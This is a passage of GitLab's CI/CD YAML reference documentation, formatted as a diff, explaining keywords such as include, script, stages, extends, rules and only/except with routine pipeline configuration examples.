+| [`template`](#includetemplate) | Include templates that are provided by GitLab. |
+
+When the pipeline starts, the `.gitlab-ci.yml` file configuration included by all methods is evaluated.
+The configuration is a snapshot in time and persists in the database. GitLab does not reflect any changes to
+the referenced `.gitlab-ci.yml` file configuration until the next pipeline starts.
+
+The `include` files are:
+
+- Deep merged with those in the `.gitlab-ci.yml` file.
+- Always evaluated first and merged with the content of the `.gitlab-ci.yml` file,
+ regardless of the position of the `include` keyword.
+
+NOTE:
+Use merging to customize and override included CI/CD configurations with local
+configurations. Local configurations in the `.gitlab-ci.yml` file override included configurations.
+
+#### Variables with `include` **(FREE SELF)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/284883) in GitLab 13.8.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/294294) in GitLab 13.9.
+
+You can [use some predefined variables in `include` sections](../variables/where_variables_can_be_used.md#gitlab-ciyml-file)
+in your `.gitlab-ci.yml` file:
+
+```yaml
+include:
+ project: '$CI_PROJECT_PATH'
+ file: '.compliance-gitlab-ci.yml'
+```
+
+For an example of how you can include these predefined variables, and the variables' impact on CI/CD jobs,
+see this [CI/CD variable demo](https://youtu.be/4XR8gw3Pkos).
+
+#### `include:local`
+
+Use `include:local` to include a file that is in the same repository as the `.gitlab-ci.yml` file.
+Use a full path relative to the root directory (`/`).
+
+If you use `include:local`, make sure that both the `.gitlab-ci.yml` file and the local file
+are on the same branch.
+
+You can't include local files through Git submodules paths.
+
+All [nested includes](#nested-includes) are executed in the scope of the same project,
+so it's possible to use local, project, remote, or template includes.
+
+Example:
+
+```yaml
+include:
+ - local: '/templates/.gitlab-ci-template.yml'
+```
+
+You can also use shorter syntax to define the path:
+
+```yaml
+include: '.gitlab-ci-production.yml'
+```
+
+Use local includes instead of symbolic links.
+
+##### `include:local` with wildcard file paths
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25921) in GitLab 13.11.
+> - [Deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
+> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/327315) in GitLab 13.12.
+> - Enabled on GitLab.com.
+> - Recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to disable it. **(CORE ONLY)**
+
+There can be
+[risks when disabling released features](../../user/feature_flags.md#risks-when-disabling-released-features).
+Refer to this feature's version history for more details.
+
+You can use wildcard paths (`*` and `**`) with `include:local`.
+
+Example:
+
+```yaml
+include: 'configs/*.yml'
+```
+
+When the pipeline runs, GitLab:
+
+- Adds all `.yml` files in the `configs` directory into the pipeline configuration.
+- Does not add `.yml` files in subfolders of the `configs` directory. To allow this,
+ add the following configuration:
+
+ ```yaml
+ # This matches all `.yml` files in `configs` and any subfolder in it.
+ include: 'configs/**.yml'
+
+ # This matches all `.yml` files only in subfolders of `configs`.
+ include: 'configs/**/*.yml'
+ ```
+
+The wildcard file paths feature is under development but ready for production use.
+It is deployed behind a feature flag that is **enabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
+can opt to disable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:ci_wildcard_file_paths)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:ci_wildcard_file_paths)
+```
+
+#### `include:file`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53903) in GitLab 11.7.
+
+To include files from another private project on the same GitLab instance,
+use `include:file`. You can use `include:file` in combination with `include:project` only.
+Use a full path, relative to the root directory (`/`).
+
+For example:
+
+```yaml
+include:
+ - project: 'my-group/my-project'
+ file: '/templates/.gitlab-ci-template.yml'
+```
+
+You can also specify a `ref`. If you do not specify a value, the ref defaults to the `HEAD` of the project:
+
+```yaml
+include:
+ - project: 'my-group/my-project'
+ ref: main
+ file: '/templates/.gitlab-ci-template.yml'
+
+ - project: 'my-group/my-project'
+ ref: v1.0.0
+ file: '/templates/.gitlab-ci-template.yml'
+
+ - project: 'my-group/my-project'
+ ref: 787123b47f14b552955ca2786bc9542ae66fee5b # Git SHA
+ file: '/templates/.gitlab-ci-template.yml'
+```
+
+All [nested includes](#nested-includes) are executed in the scope of the target project.
+You can use local (relative to target project), project, remote, or template includes.
+
+##### Multiple files from a project
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26793) in GitLab 13.6.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/271560) in GitLab 13.8.
+
+You can include multiple files from the same project:
+
+```yaml
+include:
+ - project: 'my-group/my-project'
+ ref: main
+ file:
+ - '/templates/.builds.yml'
+ - '/templates/.tests.yml'
+```
+
+#### `include:remote`
+
+Use `include:remote` with a full URL to include a file from a different location.
+The remote file must be publicly accessible by an HTTP/HTTPS `GET` request, because
+authentication in the remote URL is not supported. For example:
+
+```yaml
+include:
+ - remote: 'https://gitlab.com/example-project/-/raw/main/.gitlab-ci.yml'
+```
+
+All [nested includes](#nested-includes) execute without context as a public user,
+so you can only `include` public projects or templates.
+
+#### `include:template`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53445) in GitLab 11.7.
+
+Use `include:template` to include `.gitlab-ci.yml` templates that are
+[shipped with GitLab](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates).
+
+For example:
+
+```yaml
+# File sourced from the GitLab template collection
+include:
+ - template: Auto-DevOps.gitlab-ci.yml
+```
+
+Multiple `include:template` files:
+
+```yaml
+include:
+ - template: Android-Fastlane.gitlab-ci.yml
+ - template: Auto-DevOps.gitlab-ci.yml
+```
+
+All [nested includes](#nested-includes) are executed only with the permission of the user,
+so it's possible to use project, remote or template includes.
+
+#### Nested includes
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/56836) in GitLab 11.9.
+
+Use nested includes to compose a set of includes.
+
+You can have up to 100 includes, but you can't have duplicate includes.
+
+In [GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/28212) and later, the time limit
+to resolve all files is 30 seconds.
+
+#### Additional `includes` examples
+
+View [additional `includes` examples](includes.md).
+
+## Keyword details
+
+The following topics explain how to use keywords to configure CI/CD pipelines.
+
+### `image`
+
+Use `image` to specify [a Docker image](../docker/using_docker_images.md#what-is-an-image) to use for the job.
+
+For:
+
+- Usage examples, see [Define `image` in the `.gitlab-ci.yml` file](../docker/using_docker_images.md#define-image-in-the-gitlab-ciyml-file).
+- Detailed usage information, refer to [Docker integration](../docker/index.md) documentation.
+
+#### `image:name`
+
+An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options).
+
+For more information, see [Available settings for `image`](../docker/using_docker_images.md#available-settings-for-image).
+
+#### `image:entrypoint`
+
+An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options).
+
+For more information, see [Available settings for `image`](../docker/using_docker_images.md#available-settings-for-image).
+
+#### `services`
+
+Use `services` to specify a [service Docker image](../services/index.md), linked to a base image specified in [`image`](#image).
+
+For:
+
+- Usage examples, see [Define `services` in the `.gitlab-ci.yml` file](../services/index.md#define-services-in-the-gitlab-ciyml-file).
+- Detailed usage information, refer to [Docker integration](../docker/index.md) documentation.
+- Example services, see [GitLab CI/CD Services](../services/index.md).
+
+##### `services:name`
+
+An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options).
+
+For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services).
+
+##### `services:alias`
+
+An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options).
+
+For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services).
+
+##### `services:entrypoint`
+
+An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options).
+
+For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services).
+
+##### `services:command`
+
+An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options).
+
+For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services).
+
+### `script`
+
+Use `script` to specify a shell script for the runner to execute.
+
+All jobs except [trigger jobs](#trigger) require a `script` keyword.
+
+For example:
+
+```yaml
+job:
+ script: "bundle exec rspec"
+```
+
+You can use [YAML anchors with `script`](#yaml-anchors-for-scripts).
+
+The `script` keyword can also contain several commands in an array:
+
+```yaml
+job:
+ script:
+ - uname -a
+ - bundle exec rspec
+```
+
+Sometimes, `script` commands must be wrapped in single or double quotes.
+For example, commands that contain a colon (`:`) must be wrapped in single quotes (`'`).
+The YAML parser needs to interpret the text as a string rather than
+a "key: value" pair.
+
+For example, this script uses a colon:
+
+```yaml
+job:
+ script:
+ - curl --request POST --header 'Content-Type: application/json' "https://gitlab/api/v4/projects"
+```
+
+To be considered valid YAML, you must wrap the entire command in single quotes. If
+the command already uses single quotes, you should change them to double quotes (`"`)
+if possible:
+
+```yaml
+job:
+ script:
+ - 'curl --request POST --header "Content-Type: application/json" "https://gitlab/api/v4/projects"'
+```
+
+You can verify the syntax is valid with the [CI Lint](../lint.md) tool.
+
+Be careful when using these characters as well:
+
+- `{`, `}`, `[`, `]`, `,`, `&`, `*`, `#`, `?`, `|`, `-`, `<`, `>`, `=`, `!`, `%`, `@`, `` ` ``.
+
+If any of the script commands return an exit code other than zero, the job
+fails and further commands are not executed. Store the exit code in a variable to
+avoid this behavior:
+
+```yaml
+job:
+ script:
+ - false || exit_code=$?
+ - if [ $exit_code -ne 0 ]; then echo "Previous command failed"; fi;
+```
+
+#### `before_script`
+
+Use `before_script` to define an array of commands that should run before each job,
+but after [artifacts](#artifacts) are restored.
+
+Scripts you specify in `before_script` are concatenated with any scripts you specify
+in the main [`script`](#script). The combine scripts execute together in a single shell.
+
+You can overwrite a globally-defined `before_script` if you define it in a job:
+
+```yaml
+default:
+ before_script:
+ - echo "Execute this script in all jobs that don't already have a before_script section."
+
+job1:
+ script:
+ - echo "This script executes after the global before_script."
+
+job:
+ before_script:
+ - echo "Execute this script instead of the global before_script."
+ script:
+ - echo "This script executes after the job's `before_script`"
+```
+
+You can use [YAML anchors with `before_script`](#yaml-anchors-for-scripts).
+
+#### `after_script`
+
+Use `after_script` to define an array of commands that run after each job,
+including failed jobs.
+
+If a job times out or is cancelled, the `after_script` commands do not execute.
+An [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/15603) exists to support
+executing `after_script` commands for timed-out or cancelled jobs.
+
+Scripts you specify in `after_script` execute in a new shell, separate from any
+`before_script` or `script` scripts. As a result, they:
+
+- Have a current working directory set back to the default.
+- Have no access to changes done by scripts defined in `before_script` or `script`, including:
+ - Command aliases and variables exported in `script` scripts.
+ - Changes outside of the working tree (depending on the runner executor), like
+ software installed by a `before_script` or `script` script.
+- Have a separate timeout, which is hard coded to 5 minutes. See the
+ [related issue](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2716) for details.
+- Don't affect the job's exit code. If the `script` section succeeds and the
+ `after_script` times out or fails, the job exits with code `0` (`Job Succeeded`).
+
+```yaml
+default:
+ after_script:
+ - echo "Execute this script in all jobs that don't already have an after_script section."
+
+job1:
+ script:
+ - echo "This script executes first. When it completes, the global after_script executes."
+
+job:
+ script:
+ - echo "This script executes first. When it completes, the job's `after_script` executes."
+ after_script:
+ - echo "Execute this script instead of the global after_script."
+```
+
+You can use [YAML anchors with `after_script`](#yaml-anchors-for-scripts).
+
+#### Script syntax
+
+You can use syntax in [`script`](#script) sections to:
+
+- [Split long commands](script.md#split-long-commands) into multiline commands.
+- [Use color codes](script.md#add-color-codes-to-script-output) to make job logs easier to review.
+- [Create custom collapsible sections](../jobs/index.md#custom-collapsible-sections)
+ to simplify job log output.
+
+### `stage`
+
+Use `stage` to define which stage a job runs in. Jobs in the same
+`stage` can execute in parallel (subject to [certain conditions](#use-your-own-runners)).
+
+Jobs without a `stage` entry use the `test` stage by default. If you do not define
+[`stages`](#stages) in the pipeline, you can use the 5 default stages, which execute in
+this order:
+
+- [`.pre`](#pre-and-post)
+- `build`
+- `test`
+- `deploy`
+- [`.post`](#pre-and-post)
+For example:
+
+```yaml
+stages:
+ - build
+ - test
+ - deploy
+
+job 0:
+ stage: .pre
+ script: make something useful before build stage
+
+job 1:
+ stage: build
+ script: make build dependencies
+
+job 2:
+ stage: build
+ script: make build artifacts
+
+job 3:
+ stage: test
+ script: make test
+
+job 4:
+ stage: deploy
+ script: make deploy
+
+job 5:
+ stage: .post
+ script: make something useful at the end of pipeline
+```
+
+#### Use your own runners
+
+When you use your own runners, each runner runs only one job at a time by default.
+Jobs can run in parallel if they run on different runners.
+
+If you have only one runner, jobs can run in parallel if the runner's
+[`concurrent` setting](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-global-section)
+is greater than `1`.
+
+#### `.pre` and `.post`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31441) in GitLab 12.4.
+
+Use `pre` and `post` for jobs that need to run first or last in a pipeline.
+
+- `.pre` is guaranteed to always be the first stage in a pipeline.
+- `.post` is guaranteed to always be the last stage in a pipeline.
+
+User-defined stages are executed after `.pre` and before `.post`.
+
+You must have a job in at least one stage other than `.pre` or `.post`.
+
+You can't change the order of `.pre` and `.post`, even if you define them out of order in the `.gitlab-ci.yml` file.
+For example, the following configurations are equivalent:
+
+```yaml
+stages:
+ - .pre
+ - a
+ - b
+ - .post
+```
+
+```yaml
+stages:
+ - a
+ - .pre
+ - b
+ - .post
+```
+
+```yaml
+stages:
+ - a
+ - b
+```
+
+### `extends`
+
+> Introduced in GitLab 11.3.
+
+Use `extends` to reuse configuration sections. It's an alternative to [YAML anchors](#anchors)
+and is a little more flexible and readable. You can use `extends` to reuse configuration
+from [included configuration files](#use-extends-and-include-together).
+
+In the following example, the `rspec` job uses the configuration from the `.tests` template job.
+GitLab:
+
+- Performs a reverse deep merge based on the keys.
+- Merges the `.tests` content with the `rspec` job.
+- Doesn't merge the values of the keys.
+
+```yaml
+.tests:
+ script: rake test
+ stage: test
+ only:
+ refs:
+ - branches
+
+rspec:
+ extends: .tests
+ script: rake rspec
+ only:
+ variables:
+ - $RSPEC
+```
+
+The result is this `rspec` job:
+
+```yaml
+rspec:
+ script: rake rspec
+ stage: test
+ only:
+ refs:
+ - branches
+ variables:
+ - $RSPEC
+```
+
+`.tests` in this example is a [hidden job](#hide-jobs), but it's
+possible to extend configuration from regular jobs as well.
+
+`extends` supports multi-level inheritance. You should avoid using more than three levels,
+but you can use as many as eleven. The following example has two levels of inheritance:
+
+```yaml
+.tests:
+ rules:
+ - if: $CI_PIPELINE_SOURCE == "push"
+
+.rspec:
+ extends: .tests
+ script: rake rspec
+
+rspec 1:
+ variables:
+ RSPEC_SUITE: '1'
+ extends: .rspec
+
+rspec 2:
+ variables:
+ RSPEC_SUITE: '2'
+ extends: .rspec
+
+spinach:
+ extends: .tests
+ script: rake spinach
+```
+
+In GitLab 12.0 and later, it's also possible to use multiple parents for
+`extends`.
+
+#### Merge details
+
+You can use `extends` to merge hashes but not arrays.
+The algorithm used for merge is "closest scope wins," so
+keys from the last member always override anything defined on other
+levels. For example:
+
+```yaml
+.only-important:
+ variables:
+ URL: "http://my-url.internal"
+ IMPORTANT_VAR: "the details"
+ rules:
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
+ - if: $CI_COMMIT_BRANCH == "stable"
+ tags:
+ - production
+ script:
+ - echo "Hello world!"
+
+.in-docker:
+ variables:
+ URL: "http://docker-url.internal"
+ tags:
+ - docker
+ image: alpine
+
+rspec:
+ variables:
+ GITLAB: "is-awesome"
+ extends:
+ - .only-important
+ - .in-docker
+ script:
+ - rake rspec
+```
+
+The result is this `rspec` job:
+
+```yaml
+rspec:
+ variables:
+ URL: "http://docker-url.internal"
+ IMPORTANT_VAR: "the details"
+ GITLAB: "is-awesome"
+ rules:
+ - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
+ - if: $CI_COMMIT_BRANCH == "stable"
+ tags:
+ - docker
+ image: alpine
+ script:
+ - rake rspec
+```
+
+In this example:
+
+- The `variables` sections merge, but `URL: "http://docker-url.internal"` overwrites `URL: "http://my-url.internal"`.
+- `tags: ['docker']` overwrites `tags: ['production']`.
+- `script` does not merge, but `script: ['rake rspec']` overwrites
+ `script: ['echo "Hello world!"']`. You can use [YAML anchors](#anchors) to merge arrays.
+
+#### Use `extends` and `include` together
+
+To reuse configuration from different configuration files,
+combine `extends` and [`include`](#include).
+
+In the following example, a `script` is defined in the `included.yml` file.
+Then, in the `.gitlab-ci.yml` file, `extends` refers
+to the contents of the `script`:
+
+- `included.yml`:
+
+ ```yaml
+ .template:
+ script:
+ - echo Hello!
+ ```
+
+- `.gitlab-ci.yml`:
+
+ ```yaml
+ include: included.yml
+
+ useTemplate:
+ image: alpine
+ extends: .template
+ ```
+
+### `rules`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3.
+
+Use `rules` to include or exclude jobs in pipelines.
+
+Rules are evaluated *in order* until the first match. When a match is found, the job
+is either included or excluded from the pipeline, depending on the configuration.
+
+`rules` replaces [`only/except`](#only--except) and they can't be used together
+in the same job. If you configure one job to use both keywords, the GitLab returns
+a `key may not be used with rules` error.
+
+`rules` accepts an array of rules defined with:
+
+- `if`
+- `changes`
+- `exists`
+- `allow_failure`
+- `variables`
+- `when`
+
+You can combine multiple keywords together for [complex rules](../jobs/job_control.md#complex-rules).
+
+The job is added to the pipeline:
+
+- If an `if`, `changes`, or `exists` rule matches and also has `when: on_success` (default),
+ `when: delayed`, or `when: always`.
+- If a rule is reached that is only `when: on_success`, `when: delayed`, or `when: always`.
+
+The job is not added to the pipeline:
+
+- If no rules match.
+- If a rule matches and has `when: never`.
+
+#### `rules:if`
+
+Use `rules:if` clauses to specify when to add a job to a pipeline:
+
+- If an `if` statement is true, add the job to the pipeline.
+- If an `if` statement is true, but it's combined with `when: never`, do not add the job to the pipeline.
+- If no `if` statements are true, do not add the job to the pipeline.
+
+`if:` clauses are evaluated based on the values of [predefined CI/CD variables](../variables/predefined_variables.md)
+or [custom CI/CD variables](../variables/index.md#custom-cicd-variables).
+
+**Keyword type**: Job-specific and pipeline-specific. You can use it as part of a job
+to configure the job behavior, or with [`workflow`](#workflow) to configure the pipeline behavior.
+
+**Possible inputs**: A [CI/CD variable expression](../jobs/job_control.md#cicd-variable-expressions).
+
+**Example of `rules:if`**:
+
+```yaml
+job:
+ script: echo "Hello, Rules!"
+ rules:
+ - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/ && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME != $CI_DEFAULT_BRANCH'
+ when: never
+ - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/'
+ when: manual
+ allow_failure: true
+ - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME'
+```
+
+**Additional details**:
+
+- If a rule matches and has no `when` defined, the rule uses the `when`
+ defined for the job, which defaults to `on_success` if not defined.
+- You can define `when` once per rule, or once at the job-level, which applies to
+ all rules. You can't mix `when` at the job-level with `when` in rules.
+- Unlike variables in [`script`](../variables/index.md#use-cicd-variables-in-job-scripts)
+ sections, variables in rules expressions are always formatted as `$VARIABLE`.
+
+**Related topics**:
+
+- [Common `if` expressions for `rules`](../jobs/job_control.md#common-if-clauses-for-rules).
+- [Avoid duplicate pipelines](../jobs/job_control.md#avoid-duplicate-pipelines).
+
+#### `rules:changes`
+
+Use `rules:changes` to specify when to add a job to a pipeline by checking for changes
+to specific files.
+
+WARNING:
+You should use `rules: changes` only with **branch pipelines** or **merge request pipelines**.
+You can use `rules: changes` with other pipeline types, but `rules: changes` always
+evaluates to true when there is no Git `push` event. Tag pipelines, scheduled pipelines,
+and so on do **not** have a Git `push` event associated with them. A `rules: changes` job
+is **always** added to those pipelines if there is no `if:` that limits the job to
+branch or merge request pipelines.
+
+**Keyword type**: Job keyword. You can use it only as part of a job.
+
+**Possible inputs**: An array of file paths. In GitLab 13.6 and later,
+[file paths can include variables](../jobs/job_control.md#variables-in-ruleschanges).
+
+**Example of `rules:changes`**:
+
+```yaml
+docker build:
+ script: docker build -t my-image:$CI_COMMIT_REF_SLUG .
+ rules:
+ - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
+ changes:
+ - Dockerfile
+ when: manual
+ allow_failure: true
+```
+
+- If the pipeline is a merge request pipeline, check `Dockerfile` for changes.
+- If `Dockerfile` has changed, add the job to the pipeline as a manual job, and the pipeline
+ continues running even if the job is not triggered (`allow_failure: true`).
+- If `Dockerfile` has not changed, do not add job to any pipeline (same as `when: never`).
+
+**Additional details**:
+
+- `rules: changes` works the same way as [`only: changes` and `except: changes`](#onlychanges--exceptchanges).
+- You can use `when: never` to implement a rule similar to [`except:changes`](#onlychanges--exceptchanges).
+
+#### `rules:exists`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24021) in GitLab 12.4.
+
+Use `exists` to run a job when certain files exist in the repository.
+
+**Keyword type**: Job keyword. You can use it only as part of a job.
+
+**Possible inputs**: An array of file paths. Paths are relative to the project directory (`$CI_PROJECT_DIR`)
+and can't directly link outside it. File paths can use glob patterns.
+
+**Example of `rules:exists`**:
+
+```yaml
+job:
+ script: docker build -t my-image:$CI_COMMIT_REF_SLUG .
+ rules:
+ - exists:
+ - Dockerfile
+```
+
+`job` runs if a `Dockerfile` exists anywhere in the repository.
+
+**Additional details**:
+
+- Glob patterns are interpreted with Ruby [`File.fnmatch`](https://docs.ruby-lang.org/en/2.7.0/File.html#method-c-fnmatch)
+ with the flags `File::FNM_PATHNAME | File::FNM_DOTMATCH | File::FNM_EXTGLOB`.
+- For performance reasons, GitLab matches a maximum of 10,000 `exists` patterns or
+ file paths. After the 10,000th check, rules with patterned globs always match.
+ In other words, the `exists` rule always assumes a match in projects with more
+ than 10,000 files.
+
+#### `rules:allow_failure`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30235) in GitLab 12.8.
+
+Use [`allow_failure: true`](#allow_failure) in `rules:` to allow a job to fail
+without stopping the pipeline.
+
+You can also use `allow_failure: true` with a manual job. The pipeline continues
+running without waiting for the result of the manual job. `allow_failure: false`
+combined with `when: manual` in rules causes the pipeline to wait for the manual
+job to run before continuing.
+
+**Keyword type**: Job keyword. You can use it only as part of a job.
+
+**Possible inputs**: `true` or `false`. Defaults to `false` if not defined.
+
+**Example of `rules:allow_failure`**:
+
+```yaml
+job:
+ script: echo "Hello, Rules!"
+ rules:
+ - if: '$CI_MERGE_REQUEST_TARGET_BRANCH_NAME == $CI_DEFAULT_BRANCH'
+ when: manual
+ allow_failure: true
+```
+
+If the rule matches, then the job is a manual job with `allow_failure: true`.
+
+**Additional details**:
+
+- The rule-level `rules:allow_failure` overrides the job-level [`allow_failure`](#allow_failure),
+ and only applies when the specific rule triggers the job.
+
+#### `rules:variables`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/209864) in GitLab 13.7.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/289803) in GitLab 13.10.
+
+Use [`variables`](#variables) in `rules:` to define variables for specific conditions.
+
+**Keyword type**: Job-specific. You can use it only as part of a job.
+
+**Possible inputs**: A hash of variables in the format `VARIABLE-NAME: value`.
+
+**Example of `rules:variables`**:
+
+```yaml
+job:
+ variables:
+ DEPLOY_VARIABLE: "default-deploy"
+ rules:
+ - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
+ variables: # Override DEPLOY_VARIABLE defined
+ DEPLOY_VARIABLE: "deploy-production" # at the job level.
+ - if: $CI_COMMIT_REF_NAME =~ /feature/
+ variables:
+ IS_A_FEATURE: "true" # Define a new variable.
+ script:
+ - echo "Run script with $DEPLOY_VARIABLE as an argument"
+ - echo "Run another script if $IS_A_FEATURE exists"
+```
+
+### `only` / `except`
+
+NOTE:
+`only` and `except` are not being actively developed. [`rules`](#rules) is the preferred
+keyword to control when to add jobs to pipelines.
+
+You can use `only` and `except` to control when to add jobs to pipelines.
+
+- Use `only` to define when a job runs.
+- Use `except` to define when a job **does not** run.
+
+Four keywords can be used with `only` and `except`:
+
+- [`refs`](#onlyrefs--exceptrefs)
+- [`variables`](#onlyvariables--exceptvariables)
+- [`changes`](#onlychanges--exceptchanges)
+- [`kubernetes`](#onlykubernetes--exceptkubernetes)
+
+See [specify when jobs run with `only` and `except`](../jobs/job_control.md#specify-when-jobs-run-with-only-and-except)
+for more details and examples.
+
+#### `only:refs` / `except:refs`
+
+Use the `only:refs` and `except:refs` keywords to control when to add jobs to a
+pipeline based on branch names or pipeline types.
+
+**Keyword type**: Job keyword. You can use it only as part of a job.
+
+**Possible inputs**: An array including any number of:
+
+- Branch names, for example `main` or `my-feature-branch`.
+- [Regular expressions](../jobs/job_control.md#only--except-regex-syntax)
+ that match against branch names, for example `/^feature-.*/`.
+- The following keywords:
+
+ | **Value** | **Description** |
+ | -------------------------|-----------------|
+ | `api` | For pipelines triggered by the [pipelines API](../../api/pipelines.md#create-a-new-pipeline). |
+ | `branches` | When the Git reference for a pipeline is a branch. |
+ | `chat` | For pipelines created by using a [GitLab ChatOps](../chatops/index.md) command. |
+ | `external` | When you use CI services other than GitLab. |
+ | `external_pull_requests` | When an external pull request on GitHub is created or updated (See [Pipelines for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests)). |
+ | `merge_requests` | For pipelines created when a merge request is created or updated. Enables [merge request pipelines](../pipelines/merge_request_pipelines.md), [merged results pipelines](../pipelines/pipelines_for_merged_results.md), and [merge trains](../pipelines/merge_trains.md). |
+ | `pipelines` | For [multi-project pipelines](../pipelines/multi_project_pipelines.md) created by [using the API with `CI_JOB_TOKEN`](../pipelines/multi_project_pipelines.md#create-multi-project-pipelines-by-using-the-api), or the [`trigger`](#trigger) keyword. |
+ | `pushes` | For pipelines triggered by a `git push` event, including for branches and tags. |
+ | `schedules` | For [scheduled pipelines](../pipelines/schedules.md). |
+ | `tags` | When the Git reference for a pipeline is a tag. |
+ | `triggers` | For pipelines created by using a [trigger token](../triggers/index.md#trigger-token). |
+ | `web` | For pipelines created by using **Run pipeline** button in the GitLab UI, from the project's **CI/CD > Pipelines** section. |
+
+**Example of `only:refs` and `except:refs`**:
+
+```yaml
+job1:
+ script: echo
+ only:
+ - main
+ - /^issue-.*$/
+ - merge_requests
+
+job2:
+ script: echo
+ except:
+ - main
+ - /^stable-branch.*$/
+ - schedules
+```
+
+**Additional details:**
+
+- Scheduled pipelines run on specific branches, so jobs configured with `only: branches`
+ run on scheduled pipelines too. Add `except: schedules` to prevent jobs with `only: branches`
+ from running on scheduled pipelines.
+- `only` or `except` used without any other keywords are equivalent to `only: refs`
+ or `except: refs`. For example, the following two jobs configurations have the same
+ behavior:
+
+ ```yaml
+ job1:
+ script: echo
+ only:
+ - branches
+
+ job2:
+ script: echo
+ only:
+ refs:
+ - branches
+ ```
+
+- If a job does not use `only`, `except`, or [`rules`](#rules), then `only` is set to `branches`
+ and `tags` by default.
+
+ For example, `job1` and `job2` are equivalent:
+
+ ```yaml
+ job1:
+ script: echo 'test'
+
+ job2:
+ script: echo 'test'
+ only:
+ - branches
+ - tags
+ ```
+
+#### `only:variables` / `except:variables`
+
+Use the `only:variables` or `except:variables` keywords to control when to add jobs
+to a pipeline, based on the status of [CI/CD variables](../variables/index.md).
+
+**Keyword type**: Job keyword. You can use it only as part of a job.
+
+**Possible inputs**: An array of [CI/CD variable expressions](../jobs/job_control.md#cicd-variable-expressions).
+
+**Example of `only:variables`**:
+
+```yaml
+deploy:
+ script: cap staging deploy
+ only:
+ variables:
+ - $RELEASE == "staging"
+ - $STAGING
+```
+
+**Related topics**:
+
+- [`only:variables` and `except:variables` examples](../jobs/job_control.md#only-variables--except-variables-examples).
+
+#### `only:changes` / `except:changes`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/19232) in GitLab 11.4.
+
+Use the `changes` keyword with `only` to run a job, or with `except` to skip a job,
+when a Git push event modifies a file.
+
+Use `changes` in pipelines with the following refs:
+
+- `branches`
+- `external_pull_requests`
+- `merge_requests` (see additional details about [using `only:changes` with pipelines for merge requests](../jobs/job_control.md#use-onlychanges-with-pipelines-for-merge-requests))
+
+**Keyword type**: Job keyword. You can use it only as part of a job.
+
+**Possible inputs**: An array including any number of:
+
+- Paths to files.
+- Wildcard paths for single directories, for example `path/to/directory/*`, or a directory
+ and all its subdirectories, for example `path/to/directory/**/*`.
+- Wildcard ([glob](https://en.wikipedia.org/wiki/Glob_(programming))) paths for all
+ files with the same extension or multiple extensions, for example `*.md` or `path/to/directory/*.{rb,py,sh}`.
+- Wildcard paths to files in the root directory, or all directories, wrapped in double quotes.
+ For example `"*.json"` or `"**/*.json"`.
+
+**Example of `only:changes`**:
+
+```yaml
+docker build:
+ script: docker build -t my-image:$CI_COMMIT_REF_SLUG .
+ only:
+ refs:
+ - branches
+ changes:
+ - Dockerfile
+ - docker/scripts/*
+ - dockerfiles/**/*
+ - more_scripts/*.{rb,py,sh}
+```
+
+**Additional details**:
+
+- If you use refs other than `branches`, `external_pull_requests`, or `merge_requests`,
+ `changes` can't determine if a given file is new or old and always returns `true`.
+- If you use `only: changes` with other refs, jobs ignore the changes and always run.
+- If you use `except: changes` with other refs, jobs ignore the changes and never run.
+
+**Related topics**:
+
+- [`only: changes` and `except: changes` examples](../jobs/job_control.md#onlychanges--exceptchanges-examples).
+- If you use `changes` with [only allow merge requests to be merged if the pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds),
+ you should [also use `only:merge_requests`](../jobs/job_control.md#use-onlychanges-with-pipelines-for-merge-requests).
